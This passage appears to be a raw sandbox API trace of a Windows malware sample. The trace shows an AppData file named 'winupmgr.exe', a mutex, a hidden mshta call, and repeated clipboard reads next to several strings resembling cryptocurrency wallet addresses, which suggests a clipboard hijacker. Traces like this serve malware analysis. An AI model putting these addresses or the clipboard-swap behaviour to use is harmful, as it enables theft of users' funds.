lpLCData=0x18feb8, cchData=2 | out: lpLCData=",") returned 2 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0xe, lpLCData=0x18feb8, cchData=2 | out: lpLCData=".") returned 2 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x19, lpLCData=0x18fdc0, cchData=256 | out: lpLCData="2") returned 2 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x1d, lpLCData=0x18feb8, cchData=2 | out: lpLCData="/") returned 2 [0040.532] GetLocaleInfoA (in: Locale=0x409, LCType=0x1f, lpLCData=0x18fdc0, cchData=256 | out: lpLCData="M/d/yyyy") returned 9 [0040.533] GetThreadLocale () returned 0x409 [0040.533] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x18fd8c, cchData=256 | out: lpLCData="1") returned 2 [0040.533] GetLocaleInfoA (in: Locale=0x409, LCType=0x20, lpLCData=0x18fdc0, cchData=256 | out: lpLCData="dddd, MMMM dd, yyyy") returned 20 [0040.533] GetThreadLocale () returned 0x409 [0040.533] GetLocaleInfoA (in: Locale=0x409, LCType=0x1009, lpLCData=0x18fd8c, cchData=256 | out: lpLCData="1") returned 2 [0040.533] GetLocaleInfoA (in: Locale=0x409, LCType=0x1e, lpLCData=0x18feb8, cchData=2 | out: lpLCData=":") returned 2 [0040.533] GetLocaleInfoA (in: Locale=0x409, LCType=0x28, lpLCData=0x18fdc0, cchData=256 | out: lpLCData="AM") returned 3 [0040.533] GetLocaleInfoA (in: Locale=0x409, LCType=0x29, lpLCData=0x18fdc0, cchData=256 | out: lpLCData="PM") returned 3 [0040.533] GetLocaleInfoA (in: Locale=0x409, LCType=0x25, lpLCData=0x18fdc0, cchData=256 | out: lpLCData="0") returned 2 [0040.533] GetLocaleInfoA (in: Locale=0x409, LCType=0x23, lpLCData=0x18fdc0, cchData=256 | out: lpLCData="0") returned 2 [0040.533] GetLocaleInfoA (in: Locale=0x409, LCType=0x1005, lpLCData=0x18fdc0, cchData=256 | out: lpLCData="0") returned 2 [0040.533] GetLocaleInfoA (in: Locale=0x409, LCType=0xc, lpLCData=0x18feb8, cchData=2 | out: lpLCData=",") returned 2 [0040.533] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x0, nSize=0x0 | out: lpBuffer=0x0) returned 0x2e [0040.533] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x1d86698, nSize=0x2e | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0040.533] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winupmgr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\winupmgr.exe")) returned 0x2020 [0040.533] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winupmgr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\winupmgr.exe")) returned 0x2020 [0040.533] DeleteFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\winupmgr.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\winupmgr.exe")) returned 0 [0040.534] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="^X@%E5~PB,23-A@M_B!P9O<>T/+=") returned 0xa4 [0040.534] GetLastError () returned 0x0 [0040.534] WinExec (lpCmdLine="mshta.exe \"javascript:document.write('');\"", uCmdShow=0x0) returned 0x21 [0044.942] GetOpenClipboardWindow () returned 0x0 [0044.942] OpenClipboard (hWndNewOwner=0x0) returned 1 [0044.942] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0044.942] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0044.942] GlobalSize (hMem=0x6069b8) returned 0x42 [0044.943] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0044.943] GlobalUnlock (hMem=0x6069b8) returned 1 [0044.943] CloseClipboard () returned 1 [0044.943] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18hta.exe") returned 1 [0044.943] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18hta.exe") returned 1 [0044.943] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18hta.exe") returned 1 [0044.943] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18hta.exe") returned 1 [0044.944] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18hta.exe") returned 1 [0044.944] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18hta.exe") returned 1 [0044.944] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18hta.exe") returned 1 [0044.944] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18hta.exe") returned 1 [0044.944] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18hta.exe") returned 1 [0044.944] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18hta.exe") returned 1 [0044.944] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18hta.exe") returned 1 [0044.944] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18hta.exe") returned 1 [0044.944] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18hta.exe") returned 1 [0044.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18hta.exe") returned 1 [0044.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18hta.exe") returned 1 [0044.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18hta.exe") returned 1 [0044.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18hta.exe") returned 1 [0044.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18hta.exe") returned 1 [0044.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18hta.exe") returned 1 [0044.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18hta.exe") returned 1 [0044.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18hta.exe") returned 1 [0044.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18hta.exe") returned 1 [0044.945] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18hta.exe") returned 1 [0044.946] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18hta.exe") returned 1 [0044.946] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18hta.exe") returned 1 [0044.946] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18hta.exe") returned 1 [0044.946] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18hta.exe") returned 1 [0044.946] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18hta.exe") returned 1 [0044.946] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18hta.exe") returned 1 [0044.946] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18hta.exe") returned 1 [0044.946] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18hta.exe") returned 1 [0044.947] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18hta.exe") returned 1 [0044.947] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShoh") returned 34 [0044.947] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lp㲣眵") returned 42 [0044.947] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7㲣眵") returned 42 [0044.947] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7㲣眵") returned 34 [0044.947] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0044.947] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0044.947] Sleep (dwMilliseconds=0x64) [0045.356] GetOpenClipboardWindow () returned 0x0 [0045.356] OpenClipboard (hWndNewOwner=0x0) returned 1 [0045.357] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0045.357] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0045.357] GlobalSize (hMem=0x6069b8) returned 0x42 [0045.357] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0045.357] GlobalUnlock (hMem=0x6069b8) returned 1 [0045.357] CloseClipboard () returned 1 [0045.357] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.357] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.357] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.357] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.357] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.357] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.357] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.357] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.358] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.359] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0045.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0045.360] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: 